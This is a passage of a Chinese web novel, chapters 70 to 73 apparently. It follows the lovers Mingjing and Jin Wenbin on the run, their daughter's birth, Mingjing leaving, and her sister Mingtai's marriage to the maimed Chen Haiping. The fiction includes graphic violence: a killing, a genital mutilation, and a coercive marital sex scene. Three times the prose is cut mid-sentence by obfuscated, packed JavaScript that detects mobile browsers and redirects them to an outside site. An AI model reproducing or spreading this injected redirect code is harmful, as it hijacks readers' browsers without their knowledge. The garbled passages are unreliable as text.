邝盖世立刻把她和阿彬分开关起来,向陈顺申请取消婚约,并承诺把明镜打死谢罪。黄氏和明台声泪俱下的求情,说何必如此呢?有孩子了,打掉再嫁过去,不是一样的?就算陈家不要,肯定也有别人要她的,何必和她过不去! 然而邝盖世不能原谅明镜。他真够对得起这个女儿了!好吃好喝好穿好婚姻,她却不识时务、不要脸,和一个脏兮兮的杂役偷情!陈顺不仅是他的伯乐,更是他的明主,两人在十几年间产生了过命的交情。他自认为是个很有道德的人,“兄弟如手足,妻子如衣服”,何况非妻非子,只是个女儿。用不干净的女儿欺骗兄弟,他做不出来。 他到关押阿彬的牢房里,问:“明镜有你的孩子了?” 阿彬一怔,想明镜这个人啊......这一句胡话,足以置一个地位卑下的杂役于死地了。 邝盖世隔着栏杆踢了他一脚,“是不是?” 他说:“是。” 邝盖世抄起木棒就打,打得人气息奄奄了,收起棒子,寻思着不能让他不明不白地死在狱中了。他要挑一个日子,把这对狗男女吊死在行刑台上,请县里的父老乡亲都来看,看他邝盖世的大义、道德与教女不严的悔过之心。 两位父辈达成了一致,但陈海平不同意。他是进了学堂的,首先不同意此等野蛮之举,其次认为明镜必有苦衷,是受了阿彬的引诱乃至强迫。事发的第二天晚上,他就带着陈海龙进了牢房,卫兵一见他是少将军,立刻放了通行。 陈海平找到阿彬的牢房,看他满身血污、鼻青脸肿的样子,就气打不着一处来。就是这样一个畜生! “你居然敢碰邝大小姐?”他攥着栏杆大吼道,“你知道我是谁吗?我和大小姐自小就有婚约,我都......我都不曾在没有长辈的场合和她说过话!你是什么东西?你自己照照——” 他越说越激愤,然而阿彬重伤未愈,根本没法回嘴,只是一动不动地躺在地上。 陈海平看到他仰躺的姿势,忽然把腿从栏杆缝隙里伸进去,用坚硬的马靴狠狠踢了他的命根子。 这一下使得阿彬痛号一声,小猫小狗一样蜷缩起来。陈海平并未和人打过架,这么一下,让他疼了,也就够了。他又去找明镜,慷慨激昂地发表了一通演说,大意是你不要怕,我不会让你死的,我不计较你,愿意跟你好好生活。 世上没有几个男人能做到这份上,陈海龙在一边听着,觉得少爷是真君子。他自问就不能原谅未婚妻红杏出墙。但话又说回来,未婚妻是邝明镜...... 他心里挺不是滋味地瞧着明镜,她都落难了,还这么美。 70.夜奔 明镜听了,无动于衷,只是问:“他承认了?” 陈海平高声道:“在我的审讯下,他供认不讳了!” “想好怎么救我出去了吗?” “钥匙我能偷到。但是今晚不行,外头士兵太多了,这个礼拜五他们开大会,到时候人少一些。” 明镜点头道:“好,多谢。我还有几句话,请带给我妹妹。” 她那几句话,无非是她要明台帮忙收拾几件东西,什么衣服什么首饰甚至还有几件心爱的小玩意,一句宽慰、告别之语都没有。明台牢牢骚骚地给她收拾了,觉得自己真是个大傻蛋,东西给了她,她就像脱缰的马、出笼的鸟,再也再也再也不回来了! 你还会想起我吗? 她往包裹里多加了一张自己的手帕,希望明镜看到手帕的时候,想起她。又怀疑明镜要过上一种流亡的生活,把手帕换成了银镯子,好歹应急时能当掉换钱。 那天正巧陈顺带着陈海平出了门,陈海平便把这一任务交给了陈海龙。陈海龙携着包袱和一串钥匙,秘密地潜入牢房,一边给她开门,一边说:“出县城后,往东走,走到一个叫浪县的地方,打听‘花生客栈’,会有人接应你。你就住在客栈里,少爷三日内会来和你汇合。” 他的声音有点抖,因为平常少爷和明镜讲话,是轮不到他插嘴的。他是第一次直接对她说话。 明镜小声道:“陈大哥......我能不能求你一件事?” “邝大小姐,你言重了,能做到的我都会做。” “把阿彬也放出来吧。”她眼珠向上抬,显现出楚楚可怜的样子,“他是无辜的。把他放出来后,你让他自己走,不要再找我了。我会去花生客栈等陈少爷。求求你。” 她求他。陈海龙的心颤抖了一下,他的权利非常小,是第一次有能力帮人办到一件事。 明镜不管去哪里、跟谁走,都和他是没有关系的。他们的缘分就到此为止了。既然如此,还不如满足她的愿望,好歹她往后偶尔想起他的时候,把他视作冲冠一怒的英雄,而非不敢忤逆主子的胆小鬼。 陈海龙于是做了此生最让他后悔的一个决定:放走阿彬。 但那个时候,他十七岁,很悲壮地,认为自己是做了一次英雄。 明镜自然不可能直接往浪县跑,她离开了卫兵的视线,就守在树林里等着;陈海龙是个厚道人,没从中作梗,半个时辰后,阿彬就从同一条路上走出来了。他拖着脚步,一瘸一拐,但是眼睛亮亮的,带着笑。 这男人够义气,够胆识,够忠心,死也不背叛她。明镜也笑了,走上去搀他,道:“我真给你怀一个!” 不是因为他是真霸王,她虞姬要跟他;而是因为她是真虞姬,她选了他,他才算霸王。 当年六月,他们结为夫妻。 陈海平没有等到明镜,怒不可遏;陈海龙就跪在他面前,随他一刀还是一枪,反正命是他们家给的,还回去就是了。 但陈海平没动他,甚至在父亲面前包揽下了罪责。他是少爷,父亲不会把他怎么样,陈海龙是养子,不能犯错的。他们从小一起长大,情比金坚。兄弟如手足,妻子如手足,这世上陈海平所关爱的所有人,都是他不可分割的手足。 陈海龙无话可说了,自己是假英雄,少爷是真君子。 “你留在营里,我自己去找人。”陈海平绷着脸道,“你要是一同来的话,肯定有将功折罪的想法,鲁莽行事,这样不好。我带十几个弟兄,也是一样的。” 他只能带上十几个人,因为明镜离家的第二天,陈顺和邝盖世就吃了个大败仗。 他们发现明镜和阿彬踪迹的时候,明镜是真怀孕了,且肚子很可观地隆了起来。阿彬弄了一辆板车来,铺上厚棉被,把她放上去;自己则在前面赶马。子弹在后面砰砰飞,他的鞭子越甩越快。 明镜仰着头,看到湛湛青空,恍惚想起了从前打鸟的日子。现在她是真的自由了,过着自己想要的生活,她变成了鸟,有人要把她打下来。 “阿彬,”她在寒风中大喊道,“我不行了!” “你——你想想——”阿彬回头看了她一眼,“孩子叫什么!” “啊,孩子要一个姓啊,你没有姓!”她扯着嗓子喊,“你先想想——你姓什么!” 板车猛地一颠簸,她晕过去了。悠悠转醒时,阿彬正在拍她的脸,他们进了一座山里。 “我要姓金。金听起来能发财。” “你可以姓钱。” “那太俗了,金听起来含蓄、高贵一点。”他嘿嘿笑道,把马牵到泉眼边喝水,“你有文化,你给我起个名字。” “叫金文彬吧!” 远处传来一阵喧哗声,两人猛地一激灵。金文彬匆匆忙忙套了马,翻身上马继续跑,明镜生无可恋地抓住两侧的挡板,“我不行了......我腰要断了!” “你行!你想想孩子叫什么!” 孕肚压着腰部,在硬木板上磕来磕去,她又晕过去了。不知道过了多久,金文彬又把她拍醒,给她喂了几口水、半张饼,问:“孩子的名字想好了吗?” 她盯着他看,他丝毫不显疲态,只是热汗腾腾、喘息连连,然而一双黑眼睛奇亮无比,是精力无穷的小兽。 “带个‘雪’字吧,我想去北方看雪。这里都这么冷了,还不下雪。” “三十岁之前,我一定带你去。你男人能发大财,你信不信?” “信!” 明镜下车来揉腰、做伸展运动,没伸展多久,追兵又来了。他们又是一顿逃窜,好不容看到一户人家,其中住了个猎人。金文彬说妻子怀着孕,想借宿,猎人不答应。 金文彬二话不说,当胸一脚就给他踹到了。猎人想去摸枪,枪被打掉到地上,滴溜溜转到金文彬脚边;金文彬捡起来,一枪把他毙了。 明镜高兴道:“今晚不用露宿野外了!” 猎人家里资源充沛,褥子是兽皮做的,檐下挂着一串肉。金文彬把明镜抱到褥子上安顿好,拾柴烧水、生火做饭,做了个腊肉鸡蛋炒饭出来,还煮了一锅野菜汤。 明镜吃得脸颊红红的,又叫道:“太臭了,我要洗澡!” 金文彬连忙撂了筷子,又烧出一大锅水来。吃完饭后,她跨进木盆里,蹲下来,对他笑:“你也臭。我用过的洗澡水,你要不要用?” “我今天先不洗澡,怕他们追过来。”金文彬舀起一瓢水,浇在她头发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322719|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,“人来了,我光着身子出去呀?” 他搜查了一番屋子,搜出了两杆步枪、三十多发子弹,擦枪上膛的时候,明镜就躺在他身后睡去了。窗外蓝溶溶的,月亮边界不清,也快要融化。他看一下月亮,回头看一眼妻子,她胖了,脸圆圆的就像月亮。 他笑了一下,提枪出门,走到离小屋很远的地方,对天放了一枪。 追兵很快到了,拔剑四顾心茫然,因为金文彬身材短小,上了树。等聚集三四个人后,一梭子全打光,再换一个地方。等到陈海平出现的时候,他手里还有好几颗子弹。 “喂,”金文彬道,“我们都把枪扔了,跟我打,你敢不敢?” 陈海平气笑了,“我是将军的儿子,我还怕你不成?” 两人扔了枪,金文彬为了表现诚意,甚至在大冬天里把上衣都脱了,以示自己身上没藏东西。然后他一拳头上去,和陈海平肉搏起来。 十几分钟后,陈海平彻底不支,摔倒在地。金文彬的体力也在缠斗中快到极限,然而越到紧要关头,他越凶狠、越勇猛,连连挥拳,揍得对方眼睛鼻子嘴巴里都是血,牙还掉了两颗。 “你根本赢不了我!”金文彬站起来,大吼道,“仗势欺人的狗东西,我告诉你,你赚钱的本事也比不过我,对老婆好的本事也比不过我,你——” 他想起了一段对于男人来说,非常、非常屈辱的记忆,恶向胆边生,扒了陈海平的裤子,然后一脚踩在他命根子上。 陈海平大声嚎哭起来,“不要”“救命”之类的话。 还少将军呢,他金文彬不知道被人揍过多少次,被揍死了都不会喊救命。金文彬哈哈大笑起来,直接把他两颗蛋踩碎了,前端也踩成血肉模糊的一团,再要不得。随后将其绑在马背上,打算让马背着他跑到山下的镇子里去,让全镇人观摩他的□□风光。 陈海平已经疼晕了过去,当然不能反对。 做完这一切,金文彬心情大好,跑步回小屋,挤上了床。 第二天早上,明镜先醒,把他摇醒说:“陈海平来了没有?你就睡大觉,他们来了怎么办?” “来过啦!”金文彬嘟嘟囔囔的,仍闭着眼,“我说,孩子叫什么,你到底想好没有啊?” “叫金雪池。” “啊?”金文彬不是很赞同,“池字太没有气势。金鳞岂是池中物,一遇风云变化龙。池中物不好,还不如叫金雪鳞、金雪龙。” “我有文化还是你有文化?” “你有。” “乾卦爻辞曰,初九,潜龙勿用。意思就是事物在发展之初,虽然势头较好,但比较弱小,应该低调行事、不张扬。他现在还是个胎儿,你说弱不弱小?龙字鳞字,张不张扬?我的本意其实就是望子成龙,但现在他还是沉潜着的龙,就在池中。” 金文彬没听明白,但是明镜说是什么、就是什么吧。 他们一路逃亡,改名换姓,到了潮州。阿彬变成了金文彬,邝明镜变成了金太太。他们安顿下来,当掉了明镜带出来的一些金银首饰,租下一间屋子。明镜在里面安心养胎,金文彬找到一家赌坊,当了个小跑堂的。 三个月后,他们迎来了生命里的第一个孩子。 71.父母爱情 当时明镜在里面叫得声嘶力竭,金文彬跪在外面拜菩萨拜妈祖拜黄大仙拜耶稣。两三个小时后,孩子算是全须全尾地被拽了出来,稳婆拖着她的屁股,递给明镜看。 明镜看了一眼,有气无力道:“唉,阿彬,是个女儿。” 金文彬在外面上蹿下跳,叫道:“女儿我也喜欢!你生块叉烧我都喜欢!” 明镜一开始有点遗憾,但把女儿洗干净后,发现她皱巴巴的、太丑了,被丑笑了,因此也兴高采烈地喂起了奶。金文彬初为人父,简直到了欣喜若狂的程度,就坐在她身边观察金雪池,“哟,脑袋怎么尖尖的?” “被挤的,睡圆了就好了。” 于是金文彬每次经过金雪池时,都要用手包裹住她的脑袋,稍微压一压,希望她的脑袋不要那么像钻头。包住她的头后,他低头一看,也乐了,“怎么这么丑啊?” 明镜还不乐意了,“婴儿都像猴子,你等她长大后再看!我们妹妹靓得很!” 金文彬也顺着说:“我们妹妹靓得很!” 做了母亲后,明镜好像认识了一个新世界,世界是柔软的,她也由此变得柔软起来。她想起了黄氏和明台,甚至想写封信告诉她们自己有了个女儿,怕被邝盖世看到,只好作罢。金文彬就在她身边,她对他的态度,也是一天天变化着。 金文彬相当充实忙碌,每早她不醒,他就出门上班;晚上八点回来给她做饭、洗衣服、打扫屋子,然后抱着女儿不撒手。明镜在照顾女儿之外,就只用中午给自己下碗面条吃。但就照顾女儿一项也累得她够呛,她是做小姐的,此前都没自己梳过头。 因此金文彬每天回来,她就对他乱发一通脾气。金文彬跟她对呛几句,就充耳不闻了,因为已经抱着女儿玩起来,对女儿发出一系列动物的叫声。 明镜就笑了,一颗很柔软的心,在胸腔里扑通扑通地跳。她也跟着倒在榻上,凝视他片刻,伸手按住他的眼皮,“你这个地方怎么——” 金文彬一骨碌翻过身去。她跪立起来,趴在他身上,“受伤了?” “摔了一跤呗。” “你连树都会爬,跑个堂还摔跤呀?” 金文彬不理她,自言自语道:“我看妹妹的脑袋已经很圆了!” 几天后,他回家的时候胳膊都断了,断裂处虽然用木棍和绷带固定住,但肿得很厉害,只得老实交代:其实他主要的工作是为赌坊催债,催回来的越多,抽成越高。简而言之,打群架打的。 “你别看我现在狼狈。”他信誓旦旦地说,“我真的能发财——过几年我就自己当老板。” 明镜瞅着他,忽然跑出去端水端毛巾,“你手不方便,我来给你擦身子!” 金文彬一时有点讪讪的,因为明镜从来没服侍过他,就算他刚从牢里出来那会儿、已经半死不活了,她都不顾虑他腿瘸了,只抱怨自己小脚走路好疼。她是他的大小姐,情理之中。 然而明镜催促道:”快点!” 他迅速站起来,展开双臂。明镜替他脱了衣,蘸着温水对他一顿猛搓,问:“舒不舒服?” 他说:“舒服!头发也给我洗一洗!” 明镜让他躺下,又给他洗了头。 金文彬大振夫纲,“再给我洗脚!” 明镜扑过去拧了一下他的脸,当真端水给他洗脚。一番梳洗后,两人累的不行,一同倒在了床上;刚好睡梦中的小婴儿放了一串屁,遂哈哈大笑起来。 他对着天花板喊:“老婆。” 明镜对着天花板答道:“哎。” 天气好的时候,明镜带金雪池出门散步,遇到人就得闲聊。她与人聊天,从来都是话不投机半句多,但只要有人夸她的孩子,不投机她也能多聊几句。 当时有一群云游僧人来到此地,想要兴建一座寺庙,叫拈花寺;市民们纷纷跑去捐钱。明镜也去捐,还认识了一个叫慧法的僧人,他略通医术,有一次金文彬手指被碾坏了,就是延请他到家里帮忙治疗的。 金文彬野惯了,对僧人也不见得多恭敬,背地里一口一个秃驴地叫着。“这种人就是蛀虫,”他对明镜说,“有手有脚的大男人,受人供养!” 明镜哼道:“人家还是有几分修行,我一把妹妹给他看,他就能看出妹妹聪明。” “妹妹聪不聪明,那是有眼睛的人就能看出来的,不需要修行看。” 明镜踩了他一脚,跑到屋外去了,认为他说僧人的坏话很不吉利。真正体悟到类似于“报应”的事情,是发生在两个月后的一件事。 那时他们在床上亲热,亲热到中途,她下床找水喝,金文彬在床上等着她。金雪池本来在一边啃手啃脚,看到老豆胯间支着一根红通通的棒槌,觉得非常有趣,上手就抓。 婴儿的手劲和脚劲是非常可观的,抓上什么东西就不松,何况她几天没有剪指甲。金文彬大叫一声,连忙把她的手掰开,自己那根东西已经疼得软了下来,上面几个清晰可见的小指甲印,过一会儿,还渗了血。 他蹲在地上嘀嘀咕咕,说怎么老是这里受伤?明镜问什么叫老是?他就把和陈海平的那一段说了出来。 明镜听着,脸越来越白:她过去一直生活在某种“循环”中,循环里有逃不开的规则。她以为自己已经逃出来了。为什么追着我们不放呢? “你不应该那样对陈海平。”她有气无力道,“他人挺好的。” “他先挑衅我。” “但你做的太过了,你就是杀了他也好过阉了他。士可杀不可辱。” 金文彬不耐烦道:“你怎么为他说话?你对他有旧情吗?” 明镜便觉得此人俗到不可理喻,当一件事同时涉及到一男一女的时候,他只能想到情情爱爱的。施予别人的,会报到自己身上;得到了欢乐,日后必将得到加倍的痛苦......她望向怀中的婴儿,多么可爱的孩子。有朝一日,我会和你分开吗? 在金雪池一岁的时候,金文彬由跑堂的当上荷官了。他的感想就是:原来都是骗人的啊! “幸亏我们没有起过赌牌发财的心思。”他对明镜说,“太阴了,都是骗人的。” 明镜问:“你也骗别人吗?” “我的工作就是骗别人啊。” 她歪在榻上,以一种若有所思的目光凝视着她。金文彬忽然感到一阵烦躁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329596|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大步出门,蹲在厨房的沟边刮鱼鳞,下了狠劲儿,把鱼都刨瘦一层。他近来越来越不想和明镜聊天,她没有以前那么对他胃口了,不够冷硬,不够坏,婆婆妈妈的。因为做了母亲吗?可他也做了父亲啊,为了保护那个小小的人儿,他可以成一尊凶神。 鱼蒸好了,他又剥了个皮蛋给明镜下酒,自己净了手就往床上一倒。 明镜端着碗站他跟前,“你不吃?” “太热了,没胃口。” “我喂你也不吃?” 他一骨碌坐起来,张大了嘴。明镜喂了他几筷子,慢慢地就说:“你换个工作,安稳一点吧!” 金文彬差点把饭喷出去,“家里是不是添了新家具?妹妹是不是喝上西洋的代乳粉?换——” “我可以去做点女红,补贴家用嘛!” “那能有几个钱?行了你自己吃吧。”金文彬一翻身朝里躺着,越躺越热,耿耿于怀,觉得明镜根本是不尊重自己的劳动成果。明镜用筷子猛地敲了敲碗沿,反了天了,她是主,他是奴,他敢不听话? 金文彬到底知道自己是奴。虽然不肯换工作,但只要明镜开始嚼他,他必然要对着吵,不可能完全地漠视、甚至不回家。他跟她吵架,说明她还是可以打商量的人。外头那么多柔顺女人,说东不往西,他要是干脆住在外面,大可以落个清净。但那又什么意思?他就爱她坏,真有劲儿。 明镜现在是叫他“老公”的,有时候也叫“阿彬”,那说明他大难临头了。她脾气一上来,瓷碗铁盆对着他脑袋砸,拿灯油泼他,叫他下跪。金文彬不敢动手打她,但现在也不肯跪她,顶着满脸的血,把她扔到床上、扒她裤子,一腔火全泄到她身体里去。 冷静下来了,两个人抱在一起。明镜揉着他的脑袋,问:“疼不疼?” 他把脸埋在她胸脯里,深深吸一口气,“你这个颠婆乸......我真爱你啊!” 明镜用力地闭上眼睛。争吵往往就是在房事里平息的,该解决的问题,始终没解决。他是野兽,过去是小兽,任她驱使;现在是大兽,她制不住他了。 动武完后,她给他动文,晓之以理、动之以情,为了增加可信度,还会援引慧法师父的话。慧法师傅是佛门中人,他的话有道理。金文彬听了许久,最后得出一个结论:你是不是跟他好上了?不许再请他到家里吃饭。 明镜哑口无言,觉得他太俗、太没文化了,压根就是一本书也没看过的程度。但他确实一本书都没看过,他认字,还是她教的。此前他只看没有字的绣像本,里面要么讲杨家将,要么是春宫图。 她爱他,但在他身边,她还是感到寂寞。她是永恒寂寞的人。 某日慧法师傅来家里化缘,顺便看看孩子,明镜放他进来了。金文彬本来上班就累,拎着满满一篮菜下班回家,看到秃驴和明镜一左一右夹着女儿玩,简直像一家三口!他怒不可遏,上去就是一脚,把慧法师傅踢翻了;然后掐着对方的脖子,像拖死猪一样拖到门口。 这过程中,任凭明镜怎么叫骂、怎么求情,他都无动于衷。“你就是跟他好上了,”他说,“下次再让我见到他,我崩了他。” 72.潮信来 明镜无话可说了,夺门而出,漫无目的地在街上乱晃。太阳落了山,她走到了海边,大海广袤无垠、浮光跃金,越过这片海,是更南的地方。其实她想往北方内陆走,去看雪,不过现在无所谓了,往南往北都一样,她只是想走得更远一些。 她仍爱着金文彬,但她忽然就对和他在一起的生活丧失了兴致。就像她此前很多次丧失兴致一样,这个念头来得非常快,一但降临,不可逆转。 她找到了新的乐趣,宏大而欢欣的乐趣。 在少女时代,她有过太多的寂寞、烦忧、迷茫、痛苦,以至于认为自己敏感的灵魂一生都要受此折磨。然而并非如此,世上有真正永恒的乐趣。 和金雪池相处的时候,明镜总是非常快乐,这种快乐和与金文彬在一起时、那种激烈的快乐不同,非常平静、源远流长。她纯粹地爱着女儿,不因为女儿是个怎样的人,不求理解,不求回报,只是爱。佛教中说的“无相布施,无我度生”,大概就是这样了。 她在反复误入歧途后,找到了正确的路,成了女儿的菩萨。但是曾经有很多人都这样不求回报地爱过她......她那时心高气傲,觉得这个无聊、那个傻气,天哪,她才是悟性低人,那些人都是修行者,他们先她一步,早早做了菩萨。她悟得晚,到底还有救;金文彬是彻底无可救药的人。没关系,她去修行,她当他的菩萨。 不知明台现在过得怎么样呢? 一阵潮水漫过她的脚背,她没往海里走,海迎面而来了。明镜蓦地掉下两滴泪,心中一片空旷,什么念头都消失了,只听到海水漫过碎石滩的声响。涨了,会退;来了,又走。 钱塘江上潮信来,今日方知我是我。 一周里,她情绪平和,再没跟金文彬发生任何口角。金文彬倒抓心挠肝地不适应了,怀疑她在生气,打算找个机会跟她谈谈。机会没找到,某天晚上他做噩梦惊醒,忽然就发现床上空了!母女俩睡过的地方,尚有余温。 他衣服都来不及穿,套上袴子,抓起枪就往外跑。清朗月色下,慧法师傅牵着一匹马,明镜抱着金雪池,正爬上一座小山丘。 她跟一个只会去别人家讨饭的秃驴跑了! 金文彬心都要碎了,字面意义上的,刚跑出几步就摔在地上、滚了一圈。他迅速爬起来,对着天上放枪,大吼道:“站住!站住!” 明镜转过身来,他们只隔着十几丈的距离,但金文彬感觉自己离她太远、太远了。就像曹子建见到水上的洛神,此刻月光当照、她的头发又富有光泽,辉映之下,好像头顶落了雪。他还没来得及带她看雪。 “回去吧。”明镜说,“阿彬,事情和你想的不一样,但我确实决心离开你了。” 金文彬一句“为什么”还没问出口,已经泪流满面。他真是累死了,为了伺候好她们娘儿俩,他什么都做,他真要累死了!她还要跟人跑,跟一个一分钱不赚的秃驴跑。他自己也是贱,当着秃驴的面,就给她跪下来了。 “非走不可吗?” “非走不可。” 没有转机了。金文彬知道她是个狠角色,一旦作出决定,八匹马都拉不回来。但他也是狠角色,站起身来,用手枪指着她,“把妹妹给我。” “你不听我的话,下场不会好。妹妹跟你——” “给我!我数三声,先崩秃驴,再崩你。” 他真做得出来。再者,他太可怜了。 明镜最后凝望女儿良久,把她亲了又亲,交给金文彬,“我会为你们祈福。” 金文彬转身便走。回家的路被月光照亮,也像铺满了雪,他垂着头,一半眼泪掉在洁白的原野上,一半眼泪掉在女儿脸上。金雪池被惊醒,伸出两只小手,咿咿呀呀地叫:“豆!豆!” 他低低地应了一声,感觉自己已经很苍老了。 明镜的故事告一段路,明台的故事没有完。 自从姐姐走后,坏消息就一条一条地传过来,几万的部队说丢就丢,邝盖世负了伤,变卖田宅,带妻女搬到乡下老家。他问明台:“让你嫁给陈少爷,愿不愿意?” 明台岂有不愿意的?邝盖世没说什么,连嫁妆都没准备几件,装了两个箱子,就打发她上路了。 陈顺也被撸成了光杆司令,回了温州老家,消沉地隐居起来。明台在路上,一边暗叹山高路远,从此见上父母一面,更是难上加难;一边又隐隐地兴奋着。她感觉自己出头了。从来都有个姐姐压在自己头顶上,现在姐姐走了,她真的出头了,能嫁给陈少爷、当陈家的大少奶奶了! 到达温州,连喘气的机会没有,当天就拜父母、入洞房。明台坐在床上一动不动,一只手隔着盖头摸她的脸,摸了许久,那块红布最后是蹭掉的,不是干脆利落的一揭。她睁眼看他,他瘦了很多,张口就叫:“大小姐!” 明台的心脏一缩,然而究竟没说什么,摸索索索替他脱了马甲。她想他认错人,必定是醉酒所致,然而一边解着小小的、冰凉的盘口,一边就觉得恐怖:他身上根本没有酒气。 她又把手伸到长袍下,替他脱裤子。刚摸到腰带,陈海平忽然怪叫一声,掐住她的脖子、把她的脑袋往墙上撞。 明台尖叫起来,守在门外的陈海龙迅速赶紧来,从陈海平手中解救了她。“大奶奶,抱歉,”他低声说,“就走个形式吧,他......” 他的精神出了问题,又没了男性那一套器具。 若不是这样,怎么也便宜不了她邝明台。 原来如此。好好一个佳公子,他的青春、活力、欢乐和健康全被邝明镜吸走了,留给她的,只是一具残陋的空壳。壳里已经没有灵魂了。她不是来做他妻子的,她来做他母亲、保姆、假想敌、梦中情人的幻影。 贱不贱呢?你都这样了,你还惦记她。 明台流了一晚上的眼泪,第二天早上,打扮整齐去给公婆请安。 她平平无奇、毫无长处,但中国传统女性近千年来的坚忍的担子,她能一肩挑下去。天下莫柔弱于水,而攻坚强者莫之能胜。这样的局面,给明镜,明镜是无论如何都受不了的,弄不好就是个宁为玉碎;看着吧,她就比姐姐强,她能忍下去,忍到死。 何况,她是真的爱陈海平。由于实在没见过几个像样的男人,这爱还能继续。 陈海平清醒的时候不理人,偶尔能交流几句,知道吃饭喝水上厕所;不好的时候就会情绪狂躁,砸东西、打人。明台没有真被他按着打过,往往他一开始发疯,她就跑出去叫陈副官。陈副官有武艺在身上,完全可以把陈海平打晕过去,但他每次只起到一个解救明台的工作;陈海平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331782|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是对着他动武,他就受着了。 等人平静下来后,陈副官会悄悄离去。明台抱着陈海平,当他的母亲,轻声说:“嘘——都过去啦。我们在家里,很安全。不怕不怕。” 他躺在她怀里,眼珠子往上抬,盯着她,忽然毫无征兆地哭了。明台一哆嗦,更用力地把他抱起来,一手揽他的背、一手揽他的腿弯,把瘦成骷髅的男人折叠成个婴儿,“不怕不怕......” “怎么......你怎么嫁给我这样一个废人呢?”他没头没脑的说,“对不起,对不起。” “没关系。” “对不起。” 明台于是也哭了,手臂越勒越紧,恨不得把他按到自己身体里去。 她知道他还是君子,不过用不着做君子了,做她的小儿子吧。她反正是不可能有孩子了。 陈府的几位少奶奶都有了孩子,陈海平这一房一直空着,也不是个事,陈顺便让二儿子那一房过继一个给他们。二奶奶舍不得儿子,只肯过继一个女儿给他们,说反正大爷这样也分不到家产了,没什么需要儿子继承的。 然而过继过继,本来就是过继男孩,有的人家始终生女孩,还要特意过继一个男孩传宗接代。二奶奶给一个女孩他们,和不给有什么区别?陈顺听闻了此事,却并不为她做主。他老了,儿女闹得他烦。 明台气得发抖,把女儿抱回屋,连名字都不想起。陈副官赔笑道:“我看,兰花高洁,起名字叫‘兰’如何?陈幼兰。” “那就陈幼兰吧。” 婴儿哭了,她没有奶水可喂,也没有心情哄。陈副官于是把陈幼兰抱出去找奶妈,明台一转身,看到了她的儿子——陈海平,正在撕扯枕头套。 “别扯了,扯烂了。”她喃喃说。 然而陈海平大多数时间还是听不懂话的,愈发用力地扯起来。 明镜现在在干什么呢?她呆呆地想,儿女双全了吧? 她没空当陈幼兰的娘,陈海平没法当陈幼兰的爹,是陈副官又当爹又当妈,拉扯这孩子长大的。此外,他也是陈海平的保姆。陈海平不许人脱他裤子,但不管是洗澡还是解手,都需要脱裤子。为了解决这些需求,陈副官每天都要跟他鏖战好几番。 明台拿着毛巾在旁边看着,觉得陈副官甚至比自己更辛苦些。 在要孩子之外,女人对于丈夫,还有其他方面的需求。她一想到自己才二十多岁,还要守五六十年的活寡,便万念俱灰。这话偏偏又是不方便对人倾吐的。她没有朋友,因为需要照顾丈夫,没时间出去交际;仅有的交际就发生在陈府中。府上的其他少奶奶都拿她当个笑话,给她起了个外号叫“对食”。 陈副官也有个外号,叫“小龙子”,是给太监做奴才的意思。 明台毕竟是深闺小姐,此前从未受过此等欺侮,气得要死。同时她还为陈副官抱不平,叫得像人家身体也有残缺似的,事实上,陈副官齐全得很,一直不娶妻,算是一种赎罪。也方便他一直住在陈府中,随时照应他们夫妻两个。 陈海龙也气,过去在部队里,他是最好斗的。但部队已经解散了,现在在深宅大院,他能把一群妇人怎么样呢?气着气着,他的脾气磨钝了,只是更频繁地往大奶奶的屋里去。 那里全是他的天涯沦落人。 73.美人已矣 明台高估了自己,低估了时间的力量。 人都希望事物朝好的方向发展。譬如陈幼兰,刚抱回来时她不喜欢,慢慢的,陈幼兰大了,性情温顺又懂事,她就有些喜欢了。世上理解、关心她的人没几个,能多一个是一个。 于是她不加节制地把苦水全倾吐给一个小孩子听,能让小孩听的部分,不宜小孩听的部分,她全说了。陈幼兰大瞪着一双恐惧的双眼,非常害怕,但仍然安慰母亲说:“等我长大了,我会给你争气。” 你一个女孩子,再争气,能争到哪里去呢?明台不信她,但感到宽慰,好歹孩子有这份心。 至于陈海平,身体状况一天比一天坏,清醒的时候一天比一天少。她对他有再浓烈的爱,日常月久,也被蹉跎殆尽了。有时候陈海平把碗打翻了,她就用筷子把桌上的饭菜扒到桌边缘,用碗接好,接着给他吃。他再打翻一次,她就再扒一遍。反正他是个疯子,不会说出去。 某天他们在柴房给陈海平洗澡,陈副官负责把人按住,她负责打胰子、用毛巾搓。天气很热,陈副官没穿上衣,一身腱子肉被水汽浸得亮闪闪的。她的胳膊时时和他相撞,又迅速挪开。 陈副官也开始瞟她,喉结动了几下。明台知道这是一个信号,用小脚蹭了蹭他赤着的脚背。 她也疯了,她比姐姐还要放荡。 